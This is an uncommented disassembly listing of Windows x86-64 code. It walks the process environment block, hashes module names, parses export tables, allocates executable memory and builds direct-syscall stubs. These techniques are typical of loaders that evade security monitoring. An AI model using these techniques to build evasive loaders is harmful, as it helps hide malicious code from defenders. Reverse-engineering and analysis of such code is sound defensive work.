mov qword [rsp + 0x7cc0], rax
mov byte [rsp + 0x1dd], 0
mov byte [rsp + 0x1de], 0
mov rax, qword [rsp + 0x7ae8]
mov qword [rsp + 0x7cc8], rax
mov byte [rsp + 0x1df], 1
mov byte [rsp + 0x1e0], 0
movsxd rax, dword [rsp + 0x15c8]
mov qword [rsp + 0x7cd0], rax
mov byte [rsp + 0x1e1], 0
mov byte [rsp + 0x1e2], 0
mov rax, qword [rsp + 0x7af0]
mov qword [rsp + 0x7cd8], rax
mov byte [rsp + 0x1e3], 0
mov byte [rsp + 0x1e4], 0
mov rax, qword [rsp + 0x7af8]
mov qword [rsp + 0x7ce0], rax
mov eax, dword [rsp + 0x62a8]
mov dword [rsp + 0x15d0], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x5120], rax
mov rax, qword [rsp + 0x5120]
mov qword [rsp + 0x7b00], rax
mov rax, qword [rsp + 0x7b00]
mov qword [rsp + 0xd170], rax
mov byte [rsp + 0xd178], 1
mov rax, qword [rsp + 0x5120]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7b08], rax
lea r8, [rsp + 0x15d0]
lea rdx, [rsp + 0x5138]
mov rcx, qword [rsp + 0x7b08]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x7b10]
add rax, 8
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0xdda8]
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x5128]
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov qword [rsp + 0x7b18], rax
mov r8, qword [rsp + 0x5130]
mov rdx, qword [rsp + 0x7b18]
lea rcx, [rsp + 0x7b20]
call fcn.14006f260
lea rax, [rsp + 0x7b20]
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0x7b28]
mov rax, qword [rax]
cmp qword [rsp + 0x5138], rax
jne 0x140123d9e
mov dword [rsp + 0x798], 1
jmp 0x140123da9
mov dword [rsp + 0x798], 0
movzx eax, byte [rsp + 0x798]
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd1]
test eax, eax
je 0x140123dd2
mov qword [rsp + 0x5140], 0
jmp 0x140123e3a
mov rax, qword [rsp + 0x5138]
add rax, 0x10
mov qword [rsp + 0x7b30], rax
mov rax, qword [rsp + 0x7b30]
mov qword [rsp + 0x7b38], rax
mov rax, qword [rsp + 0x7b38]
mov qword [rsp + 0x7b40], rax
mov rax, qword [rsp + 0x7b40]
mov qword [rsp + 0x7b48], rax
mov rax, qword [rsp + 0x7b48]
mov qword [rsp + 0x7b50], rax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5140], rax
mov rax, qword [rsp + 0x5140]
mov qword [rsp + 0x7b60], rax
movzx eax, byte [rsp + 0xd178]
test eax, eax
je 0x140123e76
mov rax, qword [rsp + 0xd170]
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7b60]
mov qword [rsp + 0x5148], rax
cmp qword [rsp + 0x5148], 0
je 0x140123eb6
mov rax, qword [rsp + 0x5148]
mov eax, dword [rax + 4]
mov dword [rsp + 0x15d8], eax
mov eax, dword [rsp + 0x15d8]
mov dword [rsp + 0x62ac], eax
jmp 0x140124d52
lea rax, [rsp + 0xcf28]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0x5150]
mov dword [rax], 0
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x15e8], eax
lea rax, [rsp + 0xcf2c]
mov qword [rsp + 0x5158], rax
mov eax, dword [rsp + 0x62a8]
mov dword [rsp + 0x15e0], eax
mov rax, qword [rsp + 0x5158]
mov ecx, dword [rsp + 0x15e0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov dword [rsp + 0x15ec], eax
mov eax, dword [rsp + 0x15e8]
mov dword [rsp + 0x7a8], eax
mov eax, dword [rsp + 0x15ec]
mov dword [rsp + 0x7d0], eax
mov dword [rsp + 0x15f0], 0
mov eax, dword [rsp + 0x15f0]
cmp dword [rsp + 0x7d0], eax
jne 0x140123f70
xor eax, eax
cmp eax, 1
je 0x140123f70
mov dword [rsp + 0x79c], 1
jmp 0x140123f7b
mov dword [rsp + 0x79c], 0
movzx eax, byte [rsp + 0x79c]
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd2]
test eax, eax
je 0x140123fa7
mov qword [rsp + 0x11e0], 0
jmp 0x140124c13
mov byte [rsp + 0x1e5], 1
mov qword [rsp + 0x6cd0], 0
mov qword [rsp + 0x6cd8], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x7b68]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7b70], rax
mov rax, qword [rsp + 0x7b70]
add rax, 0x10
mov qword [rsp + 0x3c60], rax
mov eax, 1
test eax, eax
je 0x140124021
mov rax, qword [rsp + 0x3c60]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5160], rax
jmp 0x140124034
mov rax, qword [rsp + 0x3c60]
mov rax, qword [rax]
mov qword [rsp + 0x5160], rax
mov rax, qword [rsp + 0x5160]
mov qword [rsp + 0x6cd0], rax
mov rax, qword [rsp + 0x3c60]
mov qword [rsp + 0x6cd8], rax
lea rax, [rsp + 0x6cd0]
mov qword [rsp + 0x5168], rax
mov rax, qword [rsp + 0x5168]
mov rax, qword [rax]
mov qword [rsp + 0x7b78], rax
mov rax, qword [rsp + 0x7b78]
mov qword [rsp + 0x11c8], rax
mov rax, qword [rsp + 0x5168]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7b80], rax
mov rax, qword [rsp + 0x7b80]
mov qword [rsp + 0x7b88], rax
jmp 0x1401240c0
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
mov qword [rsp + 0x11c8], rax
mov rax, qword [rsp + 0x7b88]
cmp qword [rsp + 0x11c8], rax
je 0x1401240df
mov dword [rsp + 0x7a0], 1
jmp 0x1401240ea
mov dword [rsp + 0x7a0], 0
movzx eax, byte [rsp + 0x7a0]
test eax, eax
je 0x140124c07
xor eax, eax
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x7b90]
mov rcx, qword [rsp + 0x11c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b98], rax
lea rax, [rsp + 0x7b98]
mov qword [rsp + 0x5178], rax
mov dword [rsp + 0x15f4], 0
mov eax, dword [rsp + 0x15f4]
cmp dword [rsp + 0x7a8], eax
jne 0x140124161
xor eax, eax
cmp eax, 1
je 0x140124161
mov dword [rsp + 0x7a4], 1
jmp 0x14012416c
mov dword [rsp + 0x7a4], 0
movzx eax, byte [rsp + 0x7a4]
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd3]
test eax, eax
jne 0x1401244ab
mov rax, qword [rsp + 0x5178]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x7ba0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x5170], rax
mov rax, qword [rsp + 0x5170]
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0x5170]
mov qword [rsp + 0x7ba8], rax
mov qword [rsp + 0x11d0], 0xffffffffffffffff
inc qword [rsp + 0x11d0]
mov rax, qword [rsp + 0x7ba8]
mov rcx, qword [rsp + 0x11d0]
cmp word [rax + rcx*2], 0
jne 0x1401241e2
mov rax, qword [rsp + 0x11d0]
mov qword [rsp + 0x7bb0], rax
mov rax, qword [rsp + 0x7bb0]
mov qword [rsp + 0xd6c8], rax
lea rax, [rsp + 0xd6c0]
mov qword [rsp + 0x7bb8], rax
lea rax, [rsp + 0xe2b0]
mov rdi, rax
mov rsi, qword [rsp + 0x7bb8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x7a8]
mov dword [rsp + 0x15f8], eax
lea rax, [rsp + 0xd180]
lea rcx, [rsp + 0xe2b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x15f8]
mov dword [rsp + 0x7c0], eax
lea rax, [rsp + 0x7b0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x7b0], 0x1b6e1b1e
lea rax, [rsp + 0x7b0]
mov qword [rsp + 0x7bc0], rax
lea rax, [rsp + 0xe2c0]
lea rcx, [rsp + 0xd180]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe2d0]
lea rcx, [rsp + 0xe2c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe2d0]
mov rcx, qword [rsp + 0x7bc0]
call fcn.140097890
mov dword [rsp + 0x15fc], eax
mov rax, qword [rsp + 0xd188]
mov qword [rsp + 0x7bc8], rax
mov rax, qword [rsp + 0x7bc8]
sub rax, 4
mov qword [rsp + 0x7bd0], rax
mov r9, qword [rsp + 0x7bd0]
xor r8d, r8d
lea rdx, [rsp + 0xe2e0]
lea rcx, [rsp + 0xd180]
call fcn.14019ab70
lea rax, [rsp + 0x7b4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x7b4], 0x1b6e1b1e
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x7bd8], rax
lea rax, [rsp + 0xe2f0]
lea rcx, [rsp + 0xe2e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe300]
lea rcx, [rsp + 0xe2f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe300]
mov rcx, qword [rsp + 0x7bd8]
call fcn.140097890
mov dword [rsp + 0x1604], eax
mov eax, dword [rsp + 0x15fc]
mov dword [rsp + 0x1600], eax
mov eax, dword [rsp + 0x1600]
cmp dword [rsp + 0x7c0], eax
jne 0x140124404
xor eax, eax
cmp eax, 1
je 0x140124404
mov dword [rsp + 0x7b8], 1
jmp 0x14012440f
mov dword [rsp + 0x7b8], 0
movzx eax, byte [rsp + 0x7b8]
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd4]
test eax, eax
jne 0x14012448f
mov eax, dword [rsp + 0x1604]
mov dword [rsp + 0x1608], eax
mov eax, dword [rsp + 0x1608]
cmp dword [rsp + 0x7c0], eax
jne 0x14012445c
xor eax, eax
cmp eax, 1
je 0x14012445c
mov dword [rsp + 0x7c8], 1
jmp 0x140124467
mov dword [rsp + 0x7c8], 0
movzx eax, byte [rsp + 0x7c8]
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd5]
test eax, eax
jne 0x14012448f
mov dword [rsp + 0x7cc], 1
jmp 0x14012449a
mov dword [rsp + 0x7cc], 0
movzx eax, byte [rsp + 0x7cc]
test eax, eax
je 0x1401244ab
jmp 0x1401240ad
mov rax, qword [rsp + 0x5178]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x5180]
mov qword [rsp + 0x4330], rax
mov rax, qword [rsp + 0x5180]
mov qword [rsp + 0x7be0], rax
mov rax, qword [rsp + 0x7be0]
mov qword [rsp + 0x5188], rax
mov rax, qword [rsp + 0x5188]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x5188]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x7be8], rax
mov eax, dword [rsp + 0x7be8]
add rax, qword [rsp + 0x4330]
mov qword [rsp + 0x7bf0], rax
mov rax, qword [rsp + 0x7bf0]
mov qword [rsp + 0x4338], rax
mov eax, dword [rsp + 0x7d0]
mov dword [rsp + 0x160c], eax
mov eax, dword [rsp + 0x160c]
mov dword [rsp + 0x1610], eax
lea rdx, [rsp + 0x13510]
lea rcx, [rsp + 0x4330]
call fcn.1401906d0
lea rcx, [rsp + 0x13180]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x13538]
lea rcx, [rsp + 0x4330]
call fcn.14018ec60
lea rcx, [rsp + 0x131a8]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x131d0]
lea rcx, [rsp + 0x13180]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x13200]
lea rcx, [rsp + 0x131a8]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x1610]
lea r8, [rsp + 0x131d0]
lea rdx, [rsp + 0x13200]
lea rcx, [rsp + 0x11980]
call fcn.140097110
lea rdx, [rsp + 0x13560]
lea rcx, [rsp + 0x4330]
call fcn.1401906d0
mov qword [rsp + 0x5190], rax
mov rax, qword [rsp + 0x5190]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x11988], rax
jne 0x140124660
mov rax, qword [rsp + 0x5190]
mov rax, qword [rax]
cmp qword [rsp + 0x11980], rax
jne 0x140124660
mov dword [rsp + 0x7d8], 1
jmp 0x14012466b
mov dword [rsp + 0x7d8], 0
movzx eax, byte [rsp + 0x7d8]
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd6]
test eax, eax
je 0x14012468b
jmp 0x1401240ad
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140124751
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x51a0], rax
mov rax, qword [rsp + 0x51a0]
mov qword [rsp + 0x5198], rax
mov rax, qword [rsp + 0x5198]
mov qword [rax], 0
mov rax, qword [rsp + 0x5198]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x51a0]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x11990]
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x51a8]
mov qword [rsp + 0xddb0], rax
mov rax, qword [rsp + 0x51a8]
add rax, 0x10
mov qword [rsp + 0x3c78], rax
mov rax, qword [rsp + 0x3c78]
mov rax, qword [rax]
mov qword [rsp + 0x51c8], rax
mov rax, qword [rsp + 0x4330]
mov qword [rsp + 0x7bf8], rax
mov rax, qword [rsp + 0x7bf8]
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x51b0]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x51b0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x51b8], rax
mov eax, dword [rsp + 0x51b8]
add rax, qword [rsp + 0x4330]
mov qword [rsp + 0x51c0], rax
mov eax, dword [rsp + 0x51bc]
mov rcx, qword [rsp + 0x51c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c00], rax
mov rax, qword [rsp + 0x51c0]
cmp qword [rsp + 0x51c8], rax
jb 0x140124840
mov rax, qword [rsp + 0x7c00]
cmp qword [rsp + 0x51c8], rax
jae 0x140124840
mov dword [rsp + 0x7dc], 1
jmp 0x14012484b
mov dword [rsp + 0x7dc], 0
movzx eax, byte [rsp + 0x7dc]
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd7]
test eax, eax
je 0x140124bed
mov rax, qword [rsp + 0x3c78]
mov rax, qword [rax]
mov qword [rsp + 0x7c08], rax
mov rax, qword [rsp + 0x7c08]
mov qword [rsp + 0x51d0], rax
lea rax, [rsp + 0x122f8]
mov qword [rsp + 0x3c68], rax
mov rax, qword [rsp + 0x3c68]
mov rcx, qword [rsp + 0x51d0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x51d0]
mov qword [rsp + 0x7c10], rax
mov qword [rsp + 0x11d8], 0xffffffffffffffff
inc qword [rsp + 0x11d8]
mov rax, qword [rsp + 0x7c10]
mov rcx, qword [rsp + 0x11d8]
cmp byte [rax + rcx], 0
jne 0x1401248cc
mov rax, qword [rsp + 0x11d8]
mov qword [rsp + 0x7c18], rax
mov rax, qword [rsp + 0x3c68]
mov rcx, qword [rsp + 0x7c18]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x6190]
mov rdi, rax
mov rsi, qword [rsp + 0x3c68]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x6190]
call fcn.140096220
mov qword [rsp + 0x3c70], rax
cmp qword [rsp + 0x3c70], 0xffffffffffffffff
je 0x1401249e0
mov r9, qword [rsp + 0x3c70]
xor r8d, r8d
lea rdx, [rsp + 0xe310]
lea rcx, [rsp + 0x6190]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3c70]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe320]
lea rcx, [rsp + 0x6190]
call fcn.14019aaa0
lea rax, [rsp + 0xd710]
lea rcx, [rsp + 0xe310]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd720]
lea rcx, [rsp + 0xe320]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x140124a3f
lea rax, [rsp + 0x6190]
mov qword [rsp + 0x7c20], rax
mov qword [rsp + 0xd6d0], 0
mov qword [rsp + 0xd6d8], 0
lea rax, [rsp + 0xd710]
mov rdi, rax
mov rsi, qword [rsp + 0x7c20]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd720]
lea rcx, [rsp + 0xd6d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd710]
mov qword [rsp + 0x7c28], rax
lea rax, [rsp + 0xd720]
mov qword [rsp + 0x7c38], rax
lea rax, [rsp + 0xcf30]
mov qword [rsp + 0x51d8], rax
lea rax, [rsp + 0x7e0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x7e0], 0x1b6e1b1e
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x7c30], rax
lea rax, [rsp + 0xe330]
mov rdi, rax
mov rsi, qword [rsp + 0x7c28]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe340]
lea rcx, [rsp + 0xe330]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe340]
mov rcx, qword [rsp + 0x7c30]
call fcn.1400977d0
mov dword [rsp + 0x1618], eax
mov rax, qword [rsp + 0x51d8]
mov ecx, dword [rsp + 0x1618]
mov dword [rax], ecx
mov rax, qword [rsp + 0x51d8]
mov eax, dword [rax]
mov dword [rsp + 0x1628], eax
lea rax, [rsp + 0xcf34]
mov qword [rsp + 0x51e0], rax
lea rax, [rsp + 0x7e4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x7e4], 0x1b6e1b1e
lea rax, [rsp + 0x7e4]
mov qword [rsp + 0x7c40], rax
lea rax, [rsp + 0xe350]
mov rdi, rax
mov rsi, qword [rsp + 0x7c38]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe360]
lea rcx, [rsp + 0xe350]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe360]
mov rcx, qword [rsp + 0x7c40]
call fcn.1400977d0
mov dword [rsp + 0x1620], eax
mov rax, qword [rsp + 0x51e0]
mov ecx, dword [rsp + 0x1620]
mov dword [rax], ecx
mov rax, qword [rsp + 0x51e0]
mov eax, dword [rax]
mov dword [rsp + 0x162c], eax
mov r8d, dword [rsp + 0x1628]
mov edx, dword [rsp + 0x162c]
lea rcx, [rsp + 0x3c80]
call fcn.140191150
mov qword [rsp + 0x11e0], rax
jmp 0x140124c13
mov rax, qword [rsp + 0x3c78]
mov rax, qword [rax]
mov qword [rsp + 0x11e0], rax
jmp 0x140124c13
mov qword [rsp + 0x11e0], 0
mov rax, qword [rsp + 0x11e0]
mov qword [rsp + 0x3c80], rax
mov rax, qword [rsp + 0xddb8]
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x3c80]
mov qword [rsp + 0x51e8], rax
mov eax, dword [rsp + 0x62a8]
mov dword [rsp + 0x1630], eax
mov rax, qword [rsp + 0x51e8]
mov qword [rsp + 0x7c58], rax
mov eax, dword [rsp + 0x1630]
mov dword [rsp + 0x1638], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x7c48], rax
mov rax, qword [rsp + 0x7c48]
mov qword [rsp + 0x61a0], rax
mov byte [rsp + 0x61a8], 0
mov rax, qword [rsp + 0x61a0]
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x7c50]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x61a8], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7c60], rax
lea r9, [rsp + 0x7c58]
lea r8, [rsp + 0x1638]
lea rdx, [rsp + 0x12308]
mov rcx, qword [rsp + 0x7c60]
call fcn.140098320
movzx eax, byte [rsp + 0x61a8]
test eax, eax
je 0x140124d22
mov rax, qword [rsp + 0x61a0]
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x7c68]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x3c80]
mov qword [rsp + 0x7c70], rax
mov rax, qword [rsp + 0x7c70]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1640], eax
mov eax, dword [rsp + 0x1640]
mov dword [rsp + 0x62ac], eax
lea rax, [rsp + 0x62b0]
mov qword [rsp + 0x7c78], rax
mov eax, dword [rsp + 0x62ac]
mov dword [rsp + 0x1648], eax
mov rax, qword [rsp + 0x7c78]
add rax, 0x11
mov qword [rsp + 0x7c80], rax
mov eax, 6
mov rcx, qword [rsp + 0x7c80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c88], rax
mov rax, qword [rsp + 0x7c88]
mov ecx, dword [rsp + 0x1648]
mov dword [rax], ecx
lea rax, [rsp + 0x62b0]
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x588]
add rax, 0x10
mov qword [rsp + 0xddc0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x7c90], rax
mov qword [rsp + 0x51f0], 0
mov qword [rsp + 0x7c98], 0xd
mov rax, qword [rsp + 0x7c90]
mov qword [rsp + 0x7ca0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x7c98]
xor r8d, r8d
lea rdx, [rsp + 0x51f0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x7ca0]
mov dword [rsp + 0x1650], eax
cmp dword [rsp + 0x1650], 0
jl 0x140124e63
mov rax, qword [rsp + 0x51f0]
mov qword [rsp + 0x51f8], rax
jmp 0x140124e6f
mov qword [rsp + 0x51f8], 0
mov rax, qword [rsp + 0x51f8]
mov qword [rsp + 0x7ca8], rax
mov rax, qword [rsp + 0x588]
mov rcx, qword [rsp + 0x7ca8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x588]
cmp qword [rax + 8], 0
jne 0x140124ea4
jmp 0x140124eed
mov rax, qword [rsp + 0x588]
add rax, 0x11
mov qword [rsp + 0x7cb0], rax
mov rax, qword [rsp + 0x588]
mov rax, qword [rax + 8]
mov rdi, rax
mov rsi, qword [rsp + 0x7cb0]
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x588]
mov rcx, qword [rsp + 0x588]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x62b0]
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x7cb8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x7cc0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x7cc8]
mov r8, qword [rsp + 0x7cd0]
mov rdx, qword [rsp + 0x7cd8]
mov rcx, qword [rsp + 0x7ce0]
call qword [rsp + 0x7ce8]
mov dword [rsp + 0x1654], eax
lea rax, [rsp + 0x62b0]
mov rcx, rax
call fcn.1400a0db0
mov eax, dword [rsp + 0x1654]
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 0
jge 0x140124f7a
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
lea rax, [rsp + 0x150]
mov qword [rsp + 0x7cf8], rax
mov dword [rsp + 0x16a0], 0x40
mov dword [rsp + 0x1658], 0x12a83c03
mov eax, dword [rsp + 0x1658]
mov dword [rsp + 0x1660], eax
mov eax, dword [rsp + 0x1660]
mov dword [rsp + 0x1668], eax
mov eax, dword [rsp + 0x1668]
mov dword [rsp + 0x62d0], eax
mov dword [rsp + 0x62d4], 0
lea rax, [rsp + 0x62d8]
mov qword [rsp + 0x7cf0], rax
mov dword [rsp + 0x169c], 0x49
mov dword [rsp + 0x1698], 0x89
mov dword [rsp + 0x1694], 0xca
mov dword [rsp + 0x1690], 0x48
mov dword [rsp + 0x168c], 0xc7
mov dword [rsp + 0x1688], 0xc0
mov dword [rsp + 0x1684], 0x3f
mov dword [rsp + 0x1680], 0x10
mov dword [rsp + 0x167c], 0
mov dword [rsp + 0x1678], 0
mov dword [rsp + 0x1674], 0xf
mov dword [rsp + 0x1670], 5
mov dword [rsp + 0x166c], 0xc3
lea rax, [rsp + 0x166c]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1670]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1674]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1678]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x167c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1680]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1688]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x168c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1690]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1694]
lea r8, [rsp + 0x1698]
lea rdx, [rsp + 0x169c]
mov rcx, qword [rsp + 0x7cf0]
call fcn.14008f900
mov byte [rsp + 0x1e6], 0
mov byte [rsp + 0x1e7], 0
mov rax, qword [rsp + 0x7cf8]
mov qword [rsp + 0x7eb0], rax
mov byte [rsp + 0x1e8], 0
mov byte [rsp + 0x1e9], 1
mov eax, dword [rsp + 0x150]
mov qword [rsp + 0x7eb8], rax
mov byte [rsp + 0x1ea], 0
mov byte [rsp + 0x1eb], 0
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x7ec0], rax
mov byte [rsp + 0x1ec], 0
mov byte [rsp + 0x1ed], 0
mov eax, dword [rsp + 0x16a0]
mov dword [rsp + 0x1724], eax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x16a8], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x5200], rax
mov rax, qword [rsp + 0x5200]
mov qword [rsp + 0x7d00], rax
mov rax, qword [rsp + 0x7d00]
mov qword [rsp + 0xd190], rax
mov byte [rsp + 0xd198], 1
mov rax, qword [rsp + 0x5200]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7d08], rax
lea r8, [rsp + 0x16a8]
lea rdx, [rsp + 0x5218]
mov rcx, qword [rsp + 0x7d08]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7d10], rax
mov rax, qword [rsp + 0x7d10]
add rax, 8
mov qword [rsp + 0x5208], rax
mov rax, qword [rsp + 0xddc8]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x5208]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x5208]
mov rax, qword [rax]
mov qword [rsp + 0x7d18], rax
